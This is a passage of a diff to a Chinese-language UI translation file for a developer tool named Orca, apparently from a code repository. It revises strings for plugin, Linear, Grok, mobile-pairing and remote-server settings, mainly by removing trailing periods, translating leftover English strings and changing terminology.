         },
         "ephemeralVms": {
           "search": {
-            "description": "了解仓库自带的环境模板如何为每个工作区提供按需创建、可丢弃的独立环境。",
+            "description": "了解仓库自带的环境模板如何为每个工作区提供按需创建、可丢弃的独立环境",
             "cloudVmTitle": "云虚拟机",
             "keywordVm": "虚拟机",
-            "keywordSandbox": "沙箱",
+            "keywordSandbox": "沙盒",
             "keywordCloud": "云",
-            "keywordRecipe": "食谱",
-            "keywordEphemeral": "短暂的"
+            "keywordRecipe": "配方",
+            "keywordEphemeral": "临时"
           }
         },
         "EphemeralVmsPane": {
-          "loadError": "无法加载环境模板。",
-          "copyError": "无法复制提示词。",
-          "skillDescription": "设置、构建、认证并验证仓库自带的环境模板。",
+          "loadError": "无法加载环境模板",
+          "copyError": "无法复制提示词",
+          "skillDescription": "设置、构建、认证并验证仓库自带的环境模板",
           "whatTitle": "此技能会与你一起完成",
-          "whatScaffold": "为你的提供商编写环境模板和脚本，可通过 Orca 服务器或 SSH 连接。",
-          "whatBuild": "构建可复用的基础镜像，并让智能体完成登录。",
-          "whatValidate": "验证环境，以便你可以在其上创建工作区。",
-          "promptHint": "在任意工作区中，可以这样询问智能体：",
+          "whatScaffold": "为你的提供商编写环境模板和脚本，可通过 Orca 服务器或 SSH 连接",
+          "whatBuild": "构建可复用的基础镜像，并让代理完成登录",
+          "whatValidate": "验证环境，以便你可以在其上创建工作区",
+          "promptHint": "在任意工作区中，可以这样询问代理：",
           "copy": "复制",
           "copied": "已复制",
           "recipes": "环境模板",
-          "recipesHelp": "orca.yaml 和已启用插件中的配方会显示在这里，可用于启动工作区。",
+          "recipesHelp": "orca.yaml 和已启用插件中的配方会显示在这里，可用于启动工作区",
           "checking": "正在检查环境模板...",
-          "none": "还没有找到环境模板。",
+          "none": "还没有找到环境模板",
           "cloudVmSkillTitle": "云虚拟机设置技能",
           "cloudVmRefresh": "刷新云虚拟机环境模板"
         },
         "ephemeralVmsExperimentalSetting": {
-          "description": "显示仓库自带按需环境的设置控件和工作区运行目标。",
+          "description": "显示仓库自带按需环境的设置控件和工作区运行目标",
           "cloudVmToggleLabel": "切换云虚拟机"
         },
         "SourceControlActionRepoOverrideNote": {
-          "agent": "智能体",
+          "agent": "代理",
           "agentArgs": "CLI 参数",
           "commandTemplate": "命令模板",
           "more": "+{{count}} 更多",
-          "plural": "全局保存不会更改 {{count}} 个拥有自己配置的仓库。",
+          "plural": "全局保存不会更改 {{count}} 个拥有自己配置的仓库",
           "recipe": "配置",
-          "review": "审查",
+          "review": "评审",
           "reviewFirst": "先审查",
-          "singular": "全局保存不会更改 1 个拥有自己配置的仓库。",
+          "singular": "全局保存不会更改 1 个拥有自己配置的仓库",
           "tooltipTitle": "仓库覆盖",
           "surface": "聊天或 CLI"
         },
@@ -11067,23 +11375,23 @@
             "skill": {
               "install": {
                 "cta": {
-                  "skillLabel": "智能体技能：",
+                  "skillLabel": "代理技能：",
                   "checking": "检查中...",
                   "installed": "已安装",
                   "notInstalled": "未安装",
                   "recheck": "重新检查",
-                  "description": "让智能体读取和编辑 Linear 任务。完整引导设置（连接 + 技能 + 可见性）位于设置 → 任务来源。",
-                  "copyFailed": "复制命令失败。",
+                  "description": "让代理读取和编辑 Linear 任务，完整引导设置(连接 + 技能 + 可见性)位于设置 → 任务来源",
+                  "copyFailed": "复制命令失败",
                   "copyCommand": "复制命令",
-                  "installedDescription": "智能体技能已安装。要更新，请运行：",
-                  "copiedCommand": "命令已复制。"
+                  "installedDescription": "代理技能已安装，要更新，请运行：",
+                  "copiedCommand": "命令已复制"
                 }
               },
               "search": {
                 "title": "Linear",
-                "description": "Linear 技能状态、使用示例和任务来源设置链接。",
+                "description": "Linear 技能状态、使用示例和任务来源设置链接",
                 "linear": "Linear",
-                "tickets": "门票",
+                "tickets": "工单",
                 "issues": "议题",
                 "skill": "技能",
                 "orcaLinear": "Orca-线性"
@@ -11093,112 +11401,112 @@
         },
         "GrokAccountsSection": {
           "a1b2c3d4e5": "Grok (xAI)",
-          "f6e5d4c3b2": "显示来自 Grok CLI 登录的每周额度使用量（会话文件 ~/.grok/auth.json）。",
+          "f6e5d4c3b2": "显示来自 Grok CLI 登录的每周额度使用量(会话文件 ~/.grok/auth.json)",
           "0d8e77bc40": "Grok CLI 文档",
           "ad47a33f72": "正在加载…",
           "b2c3d4e5f6": "已登录",
           "e5f6a7b8c9": "未登录 Grok CLI",
-          "f6a7b8c9d0": "在终端运行 grok login，然后点击此处的刷新使用量。",
+          "f6a7b8c9d0": "在终端运行 grok login，然后点击此处的刷新使用量",
           "3325d996cb": "刷新使用量",
           "a8f3e2c1b4": "每周额度",
-          "b7e2d9f0a3": "与终端中 grok /usage 屏幕显示的每周额度百分比相同。",
+          "b7e2d9f0a3": "与终端中 grok /usage 屏幕显示的每周额度百分比相同",
           "c6d1a8f4e2": "{{when}} 重置",
-          "e6dadc1e2b": "Monthly usage",
-          "75e396bf42": "Grok 统一计费账户的月度已用额度。",
-          "b36fa2c908": "已登录。Orca 读取存储在磁盘上的 Grok CLI 会话。",
-          "f08c41de73": "会话已过期 — 在运行 Orca 的计算机上运行 grok 并等待其启动。如果提示，请完成登录，然后点击刷新使用量。无需发送聊天消息。",
-          "0bb18642b7": "使用情况",
-          "a8f4139350": "Grok 报告没有该帐户的使用百分比。"
+          "e6dadc1e2b": "每月用量",
+          "75e396bf42": "Grok 统一计费账户的月度已用额度",
+          "b36fa2c908": "已登录，Orca 读取存储在磁盘上的 Grok CLI 会话",
+          "f08c41de73": "会话已过期 — 在运行 Orca 的计算机上运行 grok 并等待其启动，如果提示，请完成登录，然后点击刷新使用量，无需发送聊天消息",
+          "0bb18642b7": "用量",
+          "a8f4139350": "Grok 未返回此账户的用量百分比"
         },
         "AppearanceWindowSidebarSection": {
           "usagePercentageDisplayUsed": "已用",
           "usagePercentageDisplayRemaining": "剩余"
         },
         "TerminalInteractionSection": {
-          "567633ff50": "右键点击将剪贴板内容粘贴到终端。按住 Control 键点击以打开上下文菜单。",
-          "c64497148a": "右键点击粘贴剪贴板内容。按住 Control 键点击打开上下文菜单。"
+          "567633ff50": "右键点击将剪贴板内容粘贴到终端，按住 Control 键点击以打开上下文菜单",
+          "c64497148a": "右键点击粘贴剪贴板内容，按住 Control 键点击打开上下文菜单"
         },
         "MobilePairingConnectionOptions": {
-          "ready": "已就绪",
+          "ready": "就绪",
           "connecting": "正在连接",
           "available": "可用",
           "reconnecting": "正在重新连接",
           "unavailable": "不可用",
           "signIn": "登录以使用 Relay",
-          "localDescription": "手机必须连接此 Wi‑Fi 或通过 Tailscale。无需账号。",
+          "localDescription": "手机必须连接此 Wi‑Fi 或通过 Tailscale，无需账号",
           "pathGroup": "手机访问此电脑的方式",
           "anywhereTitle": "Orca Relay",
-          "anywhereDescription": "手机可通过蜂窝网络或任意 Wi‑Fi 连接。仅 Relay 需要登录。",
-          "relayUnavailable": "此版本不支持 Orca Relay。请使用局域网。",
+          "anywhereDescription": "手机可通过蜂窝网络或任意 Wi‑Fi 连接，仅 Relay 需要登录",
+          "relayUnavailable": "此版本不支持 Orca Relay，请使用局域网",
           "signInAgain": "重新登录以使用 Relay",
           "localTitle": "局域网",
-          "retrying": "重试",
+          "retrying": "正在重试",
           "relayCell": "中继单元",
-          "relaySignInDetail": "将此桌面登录到 Orca，并通过 Orca 的服务器路由手机。LAN 无需账户。"
+          "relaySignInDetail": "将此桌面登录到 Orca，并通过 Orca 的服务器路由手机，LAN 无需账户"
         },
         "MobilePairingSetupSection": {
           "title": "配对手机",
           "regenerate": "重新生成",
           "generate": "生成二维码",
           "refresh": "刷新网络接口",
-          "overview": "生成二维码，然后在 Orca Mobile 的 Pair Desktop 中扫描。",
+          "overview": "生成二维码，然后在 Orca Mobile 的“配对桌面端”中扫描",
           "step1Title": "连接方式",
           "step2Title": "此电脑的地址",
-          "step2LocalDescription": "手机必须能通过 Tailscale 或 Wi‑Fi 访问此地址。",
-          "step2RelayDescription": "可选。选择手机在附近（同一 Wi‑Fi 或 Tailscale）时使用的地址，通常比 Relay 更快。外出时仍走 Relay。",
+          "step2LocalDescription": "手机必须能通过 Tailscale 或 Wi‑Fi 访问此地址",
+          "step2RelayDescription": "选择手机在附近(同一 Wi‑Fi 或 Tailscale)时使用的地址，通常比 Relay 更快，外出时仍走 Relay",
           "step2RelayDisclosure": "也可使用更快的本地连接"
         },
         "MachineNameField": {
           "label": "机器名称",
-          "description": "其他设备和主机会看到“{{name}}”。留空则使用这台电脑自己的名称。",
-          "pending": "其他设备和主机会看到此名称。留空则使用检测到的电脑名称。",
+          "description": "其他设备和主机会看到“{{name}}”，留空则使用这台电脑自己的名称",
+          "pending": "其他设备和主机会看到此名称，留空则使用检测到的电脑名称",
           "placeholder": "自动检测"
         },
         "SkillUsageExampleDialog": {
-          "copiedPrompt": "复制示例提示。",
-          "copyFailed": "复制提示失败。",
+          "copiedPrompt": "复制示例提示",
+          "copyFailed": "复制提示失败",
           "copyExampleAria": "复制 {{value0}} 示例提示",
           "done": "完成",
           "copyPrompt": "复制提示"
         },
         "LinearAgentSkillPane": {
           "title": "Linear",
-          "description": "在 Orca 中浏览 Linear 议题、启动关联工作区，并让智能体通过 /orca-linear 更新议题。",
+          "description": "在 Orca 中浏览 Linear 议题、启动工作区，并用 /orca-linear 更新议题",
           "skillTitle": "Linear 技能",
           "howToUse": "提示词示例",
-          "howToUseDescription": "点击卡片即可复制提示词。安装技能后，请在关联 Linear 的工作区中使用。",
+          "howToUseDescription": "点击卡片即可复制提示词，安装技能后，请在关联 Linear 的工作区中使用",
           "manageConnectionHint": "可在此查看已连接的 Linear 工作区和 API 密钥：",
           "manageConnectionLink": "集成"
         },
         "MobileRelayBetaNotice": {
-          "notice": "Orca Relay 目前处于测试阶段。"
+          "notice": "Orca Relay 目前处于测试阶段"
         },
         "EditorFontFamilySetting": {
-          "description": "文件编辑器和差异视图使用的字体，留空则跟随终端字体。",
+          "description": "文件编辑器和差异视图使用的字体，留空则跟随终端字体",
           "placeholder": "与终端字体相同",
           "458ec82128": "编辑器字体"
         },
         "GeneralRemoteServerUpdates": {
-          "serverCount": "{{value0}} paired servers",
+          "serverCount": "{{value0}} 台已配对服务器",
           "availableCount": "{{value0}} 个可更新",
           "currentCount": "{{value0}} 个已是最新",
-          "manualCount": "{{value0}} manual",
-          "offlineCount": "{{value0}} offline",
-          "description": "从此客户端检查和更新已配对的 Orca 服务器。",
-          "updating": "Updating servers…",
-          "serverCountOne": "1 paired server",
+          "manualCount": "{{value0}} 台需手动更新",
+          "offlineCount": "{{value0}} 台离线",
+          "description": "从此客户端检查和更新已配对的 Orca 服务器",
+          "updating": "正在更新服务器…",
+          "serverCountOne": "1 台已配对服务器",
           "fdd271abf0": "远程 Orca 服务器",
           "e4e5937469": "Server updates"
         },
         "RemoteServerUpdateDialog": {
           "versionUnavailable": "版本不可用",
-          "restartingHelp": "正在等待替代服务器在新版本上重新连接。",
+          "restartingHelp": "正在等待替代服务器在新版本上重新连接",
           "retry": "重试",
           "update": "更新",
-          "description": "查看已配对的服务器，并从此 Orca 客户端更新受支持的安装。",
-          "restartWarning": "更新将重启这些服务器。{{value0}} 和 {{value1}} 可能会短暂断开连接。",
+          "description": "查看已配对的服务器，并从此 Orca 客户端更新受支持的安装",
+          "restartWarning": "更新将重启这些服务器。{{value0}} 和 {{value1}} 可能会短暂断开连接",
           "checking": "正在检查已配对的服务器…",
-          "empty": "没有已配对的远程 Orca 服务器。",
+          "empty": "没有已配对的远程 Orca 服务器",
           "updateAll": "更新 {{value0}} 台服务器",
           "noUpdates": "没有可用更新",
           "downloadProgress": "{{value0}} 下载进度",
@@ -11220,29 +11528,29 @@
           "restarting": "正在重启…",
           "updated": "已更新",
           "failed": "更新失败",
-          "serviceManagerHelp": "通过启动此服务器的服务管理器更新 Orca。",
-          "unpackedHelp": "开发版本必须从其源代码检出进行更新。",
-          "legacyHelp": "此服务器无法远程更新。请在服务器主机上更新 Orca。",
-          "managedOverSshHelp": "此桌面通过 SSH 更新此服务器。请在远程 Orca 服务器中该服务器所在行使用“更新”。"
+          "serviceManagerHelp": "通过启动此服务器的服务管理器更新 Orca",
+          "unpackedHelp": "开发版本必须从其源代码检出进行更新",
+          "legacyHelp": "此服务器无法远程更新，请在服务器主机上更新 Orca",
+          "managedOverSshHelp": "此桌面通过 SSH 更新此服务器。请在远程 Orca 服务器中该服务器所在行使用“更新”"
         },
         "BrowserLinkRoutingSetting": {
-          "description": "在 Orca 内置浏览器中打开 Orca 各处的 http(s) 链接。登录页面和 {{shortcut}} 始终使用系统浏览器。",
-          "descriptionBase": "在 Orca 内置浏览器中打开 Orca 各处的 http(s) 链接。登录页面仍会在系统浏览器中打开。"
+          "description": "在 Orca 内置浏览器中打开 Orca 各处的 http(s) 链接。登录页面和 {{shortcut}} 始终使用系统浏览器",
+          "descriptionBase": "在 Orca 内置浏览器中打开 Orca 各处的 http(s) 链接。登录页面仍会在系统浏览器中打开"
         },
         "BrowserLinkRoutingModifierSetting": {
           "titleSystem": "按住 Shift 在系统浏览器中打开",
           "titleOrca": "按住 Shift 在 Orca 中打开",
-          "descriptionSystem": "链接在 Orca 中打开，因此 {{chord}}+点击会将其发送到系统浏览器。",
-          "descriptionOrca": "链接在系统浏览器中打开。启用后，{{chord}}+点击会改在 Orca 内置浏览器中打开。"
+          "descriptionSystem": "链接在 Orca 中打开，因此 {{chord}}+点击会将其发送到系统浏览器",
+          "descriptionOrca": "链接在系统浏览器中打开，启用后，{{chord}}+点击会改在 Orca 内置浏览器中打开"
         },
         "BrowserLinkRoutingBackgroundSetting": {
           "title": "在后台打开链接",
-          "description": "终端、聊天和 Markdown 中的链接会在浏览器中打开，焦点仍停留在你点击的位置。"
+          "description": "终端、聊天和 Markdown 中的链接会在浏览器中打开，焦点仍停留在你点击的位置"
         },
         "PluginConsentDialog": {
           "reconsent": "自你批准后已更改",
           "instructionalWarning": "其命令可代表你或你的代理执行操作",
-          "declarativeWarning": "仅内容。不运行代码。",
+          "declarativeWarning": "仅内容。不运行代码",
           "enable": "启用插件",
           "capability": {
             "workspaceRead": "读取工作区名称、分支和终端",
@@ -11253,38 +11561,38 @@
             "agentsRead": "在智能体状态更改时获得通知",
             "terminalRun": "在终端中运行命令（包括 SSH）"
           },
-          "decisionFailed": "无法保存权限决定。请重试。",
+          "decisionFailed": "无法保存权限决定，请重试",
           "fullAccessWarning": "完全访问：作为普通程序运行，可以读取你的文件、使用网络、运行其他程序，并控制 Orca（包括你的终端和智能体）。",
-          "uiWarning": "在 Orca 内运行发布者的代码来绘制其视图。Orca 会显示它能访问的内容，并在启用前征求你的同意。"
+          "uiWarning": "在 Orca 中运行发布者的代码来绘制其视图。Orca 会显示它能访问什么，并在启用前征求你的同意"
         },
         "PluginConsentProvenance": {
-          "official": "Official",
+          "official": "官方",
           "bundled": "Orca 自带",
-          "local": "Local folder",
-          "community": "Community",
-          "source": "Source",
-          "sourceLabel": "Source",
-          "commit": "Pinned commit",
+          "local": "本地文件夹",
+          "community": "社区",
+          "source": "来源",
+          "sourceLabel": "来源",
+          "commit": "固定提交",
           "localCommit": "本地文件夹 — 无提交",
-          "indexCommit": "Index commit"
+          "indexCommit": "索引提交"
         },
         "PluginDevelopmentSection": {
-          "saveFailed": "无法保存开发插件路径。",
-          "pathRequired": "请输入插件文件夹路径。",
+          "saveFailed": "无法保存开发插件路径",
+          "pathRequired": "请输入插件文件夹路径",
           "title": "开发",
           "remove": "移除",
           "pathLabel": "开发插件文件夹路径",
           "placeholder": "插件文件夹路径",
           "add": "添加路径",
-          "reviewHelp": "只审核一次。之后的代码修改会直接运行。",
+          "reviewHelp": "只审核一次。之后的代码修改会直接运行",
           "dialogTitle": "开发文件夹"
         },
         "PluginInstallDialog": {
-          "localRequired": "请输入插件文件夹路径。",
-          "gitUrlRequired": "请输入仓库 URL。",
+          "localRequired": "请输入插件文件夹路径",
+          "gitUrlRequired": "请输入仓库 URL",
           "gitUrlInvalid": "请使用仓库链接，例如 https://github.com/owner/repo、owner/repo 或 SSH URL。",
           "title": "安装插件",
-          "description": "启用前不会运行任何内容。",
+          "description": "启用前不会运行任何内容",
           "source": "安装来源",
           "localTab": "本地文件夹",
           "gitTab": "Git URL",
@@ -11297,7 +11605,7 @@
           "cancel": "取消",
           "installing": "正在安装…",
           "install": "安装",
-          "installFailed": "插件安装失败。请检查来源后重试。",
+          "installFailed": "插件安装失败，请检查来源后重试",
           "checking": "正在检查…",
           "continue": "继续",
           "gitUrlCredentials": "请从 URL 中删除用户名或令牌。Orca 会使用你的 Git 登录凭据。",
@@ -11314,31 +11622,31 @@
           "worktree": "仅在工作区中"
         },
         "PluginMarketplaceBrowser": {
-          "loadFailed": "无法加载目录中的插件。",
-          "refreshFailed": "无法刷新目录。请重试。",
+          "loadFailed": "无法加载目录中的插件",
+          "refreshFailed": "无法刷新目录。请重试",
           "manageSources": "管理源",
-          "refreshing": "正在刷新…",
+          "refreshing": "刷新中…",
           "refresh": "刷新",
           "noInstalledTitle": "没有已安装的插件",
-          "noInstalled": "您安装的插件将显示在此处。",
+          "noInstalled": "您安装的插件将显示在此处",
           "loading": "正在加载目录插件…",
           "tryAgain": "重试",
           "noSourcesTitle": "未配置目录",
           "addSource": "添加目录",
           "noResultsTitle": "没有匹配的插件",
-          "noResults": "没有目录插件匹配此搜索。",
+          "noResults": "没有目录插件匹配此搜索",
           "clearSearch": "清除搜索",
           "emptyTitle": "暂无内容",
-          "empty": "已配置的目录中没有任何插件。"
+          "empty": "已配置的目录中没有任何插件"
         },
         "PluginMarketplaceListingRow": {
           "blocked": "已被 Orca 安全列表阻止：{{value0}}",
           "install": "安装"
         },
         "PluginMarketplaceSourceDialog": {
-          "addFailed": "无法添加此目录。请检查 URL 和 ref。",
-          "refreshFailed": "无法刷新此目录。请重试。",
-          "removeFailed": "无法移除此目录。",
+          "addFailed": "无法添加此目录。请检查 URL 和 ref",
+          "refreshFailed": "无法刷新此目录。请重试",
+          "removeFailed": "无法移除此目录",
           "title": "目录来源",
           "description": "列出插件的 Git 仓库",
           "urlLabel": "Git URL",
@@ -11353,41 +11661,41 @@
           "official": "官方",
           "owner": "所有者：{{value0}}",
           "pinnedCommit": "固定在 {{value0}}",
-          "stale": "无法刷新。可能已过时。",
+          "stale": "无法刷新。可能已过时",
           "refreshLabel": "刷新 {{value0}}",
           "removeLabel": "移除 {{value0}}",
           "done": "完成"
         },
         "PluginRemoveDialog": {
           "title": "移除 {{value0}}？",
-          "description": "其数据也会被移除。",
+          "description": "其数据也会被移除",
           "cancel": "取消",
           "remove": "移除"
         },
         "PluginRollbackDialog": {
           "title": "回滚 {{value0}}？",
-          "description": "恢复到上一个版本。",
+          "description": "恢复到上一个版本",
           "cancel": "取消",
           "confirm": "回滚",
-          "descriptionVersion": "恢复到版本 {{value0}}。"
+          "descriptionVersion": "恢复到版本 {{value0}}"
         },
         "PluginsSettingsSection": {
           "systemLabel": "插件系统",
           "loading": "正在加载插件…",
           "noInstalledResultsTitle": "没有匹配的插件",
-          "noInstalledResults": "没有已安装的插件匹配此搜索。",
+          "noInstalledResults": "没有已安装的插件匹配此搜索",
           "emptyTitle": "尚未安装插件",
-          "empty": "浏览「全部」选项卡以从目录安装插件。",
-          "loadFailed": "无法加载插件。",
-          "settingsUpdateFailed": "无法保存插件设置。",
+          "empty": "浏览「全部」选项卡以从目录安装插件",
+          "loadFailed": "无法加载插件",
+          "settingsUpdateFailed": "无法保存插件设置",
           "install": "安装插件",
           "title": "插件",
           "alpha": "Alpha 版",
-          "description": "主题、语言、命令等。",
-          "logsFailed": "无法加载插件日志。",
-          "rollbackFailed": "无法回滚此插件。",
+          "description": "主题、语言、命令等",
+          "logsFailed": "无法加载插件日志",
+          "rollbackFailed": "无法回滚此插件",
           "fileTypeSuggestionsLabel": "为未知文件推荐插件",
-          "restartFailed": "无法重新启动 {{value0}}。"
+          "restartFailed": "无法重新启动 {{value0}}"
         },
         "PluginCardAction": {
           "installed": "已安装",
@@ -11406,8 +11714,8 @@
           "viewLogs": "查看日志",
           "disableLabel": "禁用 {{value0}}",
           "enableLabel": "启用 {{value0}}",
-          "invalidPluginError": "此插件的文件无效。修复后请刷新。",
-          "syntaxFailed": "高亮已停止：此语法出错。"
+          "invalidPluginError": "此插件的文件无效。修复后请刷新",
+          "syntaxFailed": "高亮已停止：此语法出错"
         },
         "PluginVmRecipeConsentPreview": {
           "create": "创建",
@@ -11458,33 +11766,33 @@
         "pluginInstallAction": {
           "installed": "已安装 {{value0}}",
           "tryIt": "试一试",
-          "mismatch": "下载内容与目录不符。未安装任何内容。",
-          "catalogChanged": "目录已更改。请刷新后重试。",
-          "blocked": "Orca 的安全列表阻止了此插件。",
-          "downloadFailed": "无法下载。请检查网络连接。"
+          "mismatch": "下载内容与目录不符。未安装任何内容",
+          "catalogChanged": "目录已更改。请刷新后重试",
+          "blocked": "Orca 的安全列表阻止了此插件",
+          "downloadFailed": "无法下载。请检查网络连接"
         },
         "pluginThemeApply": {
           "nowUsing": "正在使用 {{value0}}",
           "switchBack": "切换回去"
         },
         "pluginError": {
-          "installManifestMissing": "未找到可读的 orca-plugin.json。请选择插件的根文件夹。",
-          "installManifestInvalid": "orca-plugin.json 无效。请要求插件作者修复清单。",
-          "incompatible": "此插件需要不同版本的 Orca。",
-          "installUnsafePath": "插件包含不安全的文件路径或符号链接，未安装。",
-          "installLimit": "插件超过 Orca 的安装大小或文件数量限制。",
-          "installGit": "无法获取此 Git 版本。请检查 URL、#ref 和访问权限。",
-          "invalidManifestMissing": "插件根目录缺少 orca-plugin.json。请添加它，然后刷新插件。",
-          "invalidManifest": "orca-plugin.json 无效。请修复它，然后刷新插件。",
-          "installedManifestUnloadable": "此版本无法在当前 Orca 中加载。请更新或重新安装。",
-          "invalidArtifact": "工作进程或面板文件缺失或不安全。修复后请刷新。",
-          "consentChanged": "你审查期间此插件发生了变化。请重新审查。",
+          "installManifestMissing": "未找到可读的 orca-plugin.json，请选择插件的根文件夹",
+          "installManifestInvalid": "orca-plugin.json 无效，请要求插件作者修复清单",
+          "incompatible": "此插件需要不同版本的 Orca",
+          "installUnsafePath": "插件包含不安全的文件路径或符号链接，未安装",
+          "installLimit": "插件超过 Orca 的安装大小或文件数量限制",
+          "installGit": "无法获取此 Git 版本。请检查 URL、#ref 和访问权限",
+          "invalidManifestMissing": "插件根目录缺少 orca-plugin.json，请添加它，然后刷新插件",
+          "invalidManifest": "orca-plugin.json 无效，请修复它，然后刷新插件",
+          "installedManifestUnloadable": "此版本无法在当前 Orca 中加载。请更新或重新安装",
+          "invalidArtifact": "工作进程或面板文件缺失或不安全。修复后请刷新",
+          "consentChanged": "你审查期间此插件发生了变化。请重新审查",
           "installGitMoved": "Orca 检查后仓库发生了变化。请重试。"
         },
         "plugins": {
           "search": {
             "title": "插件",
-            "description": "安装和管理 Orca 插件（Alpha 版）。",
+            "description": "安装和管理 Orca 插件（Alpha 版）",
             "install": "安装插件",
             "permissions": "插件权限",
             "logs": "插件日志",
@@ -11494,47 +11802,47 @@
         },
         "LinearAgentSkillGuide": {
           "setupConnectTitle": "1. 连接 Linear",
-          "setupConnectBody": "用于让 Orca 列出议题并打开关联工作区的个人 API 密钥。",
+          "setupConnectBody": "用于让 Orca 列出议题并打开关联工作区的个人 API 密钥",
           "manageKeys": "管理密钥",
           "addAccess": "添加访问权限",
-          "setupSkillTitle": "2. 安装智能体技能",
-          "setupSkillBody": "让智能体使用 /orca-linear 读取、更新、分类议题并附加拉取或合并请求。",
+          "setupSkillTitle": "2. 安装代理技能",
+          "setupSkillBody": "让代理使用 /orca-linear 读取、更新、分类议题并附加拉取或合并请求",
           "setupVisibleTitle": "3. 在任务中显示 Linear",
-          "setupVisibleBody": "在任务来源选择器和侧边栏快捷方式中保留 Linear。",
+          "setupVisibleBody": "在任务来源选择器和侧边栏快捷键中保留 Linear",
           "setupTitle": "设置清单",
-          "setupBody": "完整的任务与智能体流程需要完成全部三个步骤。首次设置也可在任务来源中进行。",
+          "setupBody": "完整的任务与代理流程需要完成全部三个步骤，首次设置也可在任务来源中进行",
           "setupReady": "全部就绪",
           "setupProgress": "已完成 {{done}}/{{total}}",
           "notesTitle": "使用须知",
-          "notesIntro": "连接 Linear 并安装技能后的一些快速提示。",
+          "notesIntro": "连接 Linear 并安装技能后的一些快速提示",
           "noteLinkedTitle": "从 Linear 议题开始",
-          "noteLinkedBody": "从任务创建的工作区会将议题保留为关联上下文，因此议题操作最顺畅。",
+          "noteLinkedBody": "从任务创建的工作区会将议题保留为关联上下文，因此议题操作最顺畅",
           "noteSlashTitle": "提及 /orca-linear",
-          "noteSlashBody": "在聊天中使用 /orca-linear（或用自然语言提出请求），智能体会在该轮加载此技能。",
+          "noteSlashBody": "在聊天中使用 /orca-linear(或用自然语言提出请求)，代理会在该轮加载此技能",
           "noteKeysTitle": "密钥按运行环境保存",
-          "noteKeysBody": "API 密钥和工作区存储在当前运行环境中。",
+          "noteKeysBody": "API 密钥和工作区存储在当前运行环境中",
           "noteVisibilityTitle": "隐藏不等于断开连接",
-          "noteVisibilityBody": "在任务来源中隐藏 Linear 只会将其从选择器中移除，不会删除密钥或技能。",
+          "noteVisibilityBody": "在任务来源中隐藏 Linear 只会将其从选择器中移除，不会删除密钥或技能",
           "setupChecking": "检查中…",
           "setupUnverified": "无法验证",
           "c5cd02806b": "任务来源"
         },
         "TaskSourceLinearSetup": {
           "connectTitle": "连接 Linear",
-          "connectDescription": "添加个人 API 密钥，让 Orca 能够浏览议题并使用议题上下文打开工作区。",
+          "connectDescription": "添加个人 API 密钥，让 Orca 能够浏览议题并使用议题上下文打开工作区",
           "manageAccess": "管理密钥",
-          "addAccess": "添加 Linear 访问权限",
-          "connectedHint": "工作区和密钥存储在当前运行环境中。你可以随时添加更多访问权限。",
+          "addAccess": "添加 Linear 访问",
+          "connectedHint": "工作区和密钥存储在当前运行环境中，你可以随时添加更多访问权限",
           "recheck": "重新检查连接",
-          "skillTitle": "安装 Linear 智能体技能",
-          "skillDescription": "让智能体使用 /orca-linear 读取议题、发布更新、更改状态并附加拉取或合并请求。",
-          "skillBlocked": "请先连接 Linear，然后为智能体安装技能。",
+          "skillTitle": "安装 Linear 代理技能",
+          "skillDescription": "让代理使用 /orca-linear 读取议题、发布更新、更改状态并附加拉取或合并请求",
+          "skillBlocked": "请先连接 Linear，然后为代理安装技能",
           "skillPanelTitle": "Linear 技能",
-          "showDescription": "在任务来源选择器和侧边栏快捷方式中显示 Linear。"
+          "showDescription": "在任务来源选择器和侧边栏快捷键中显示 Linear"
         },
         "TaskSourceProviderCard": {
           "statusChecking": "检查中…",
-          "statusReady": "已就绪",
+          "statusReady": "就绪",
           "statusConnectRequired": "需要连接",
           "statusSkillRequired": "需要技能",
           "statusUnverified": "无法验证",
@@ -11550,36 +11858,36 @@
           "hide": "隐藏",
           "hideProviderAction": "从任务中隐藏 {{provider}}",
           "showProviderAction": "在任务中显示 {{provider}}",
-          "lastProviderAction": "{{provider}} 已显示在任务中。必须至少保留一个可见提供商。",
-          "lastProviderHint": "任务中必须至少保留一个可见提供商。",
-          "description": "在任务来源选择器和侧边栏快捷方式中显示此提供商。",
+          "lastProviderAction": "{{provider}} 已显示在任务中，必须至少保留一个可见提供商",
+          "lastProviderHint": "任务中必须至少保留一个可见提供商",
+          "description": "在任务来源选择器和侧边栏快捷键中显示此提供商",
           "8f0bb9edf3": "在任务中显示"
         },
         "RuntimeHostAccessForm": {
           "namePlaceholder": "Linux 工作站",
           "accessLink": "访问链接",
           "accessLinkPlaceholder": "orca://pair?code=...",
-          "accessLinkHelp": "Orca 会在连接前显示目标。凭据保持隐藏。",
+          "accessLinkHelp": "Orca 会在连接前显示目标，凭据保持隐藏",
           "destination": "链接目标",
           "loopbackTitle": "此链接指向此设备",
-          "loopbackDescription": "{{endpoint}} 会指向打开链接的设备，而不是创建链接的另一台计算机。",
+          "loopbackDescription": "{{endpoint}} 会指向打开链接的设备，而不是创建链接的另一台计算机",
           "identityMismatch": "到达的 Orca 主机与此访问链接不匹配",
-          "identityMismatchHelp": "已连接到 {{endpoint}} 上的 Orca，但该主机与此链接不匹配。请在另一台主机上生成新链接。",
+          "identityMismatchHelp": "已连接到 {{endpoint}} 上的 Orca，但该主机与此链接不匹配，请在另一台主机上生成新链接",
           "invalidLink": "此访问链接不再有效",
-          "invalidLinkHelp": "请在另一台主机上生成新的访问链接，然后重试。",
+          "invalidLinkHelp": "请在另一台主机上生成新的访问链接，然后重试",
           "incompatible": "Orca 版本不兼容",
-          "incompatibleHelp": "请更新此设备和另一台主机上的 Orca，然后重试。",
+          "incompatibleHelp": "请更新此设备和另一台主机上的 Orca，然后重试",
           "interrupted": "连接中断",
-          "interruptedHelp": "验证期间连接已中断。请检查网络或 SSH 隧道，然后重试。",
+          "interruptedHelp": "验证期间连接已中断，请检查网络或 SSH 隧道，然后重试",
           "unavailable": "主机不可用",
-          "unavailableHelp": "请确保 Orca 正在另一台主机上运行，并且网络或 SSH 隧道可以连接到 {{endpoint}}。",
-          "sshTunnelHelp": "使用此连接时保持隧道活跃。",
+          "unavailableHelp": "请确保 Orca 正在另一台主机上运行，并且网络或 SSH 隧道可以连接到 {{endpoint}}",
+          "sshTunnelHelp": "使用此连接时保持隧道活跃",
           "cancel": "取消",
           "saveFailed": "无法保存主机",
-          "saveFailedHelp": "主机已验证，但 Orca 无法保存。检查名称和本地设置存储，然后重试。",
+          "saveFailedHelp": "主机已验证，但 Orca 无法保存，请检查名称和本地设置存储，然后重试",
           "differentServer": "此链接适用于不同的服务器",
-          "differentServerHelp": "此配对链接属于另一台服务器。请在您要重新配对的服务器上创建链接。",
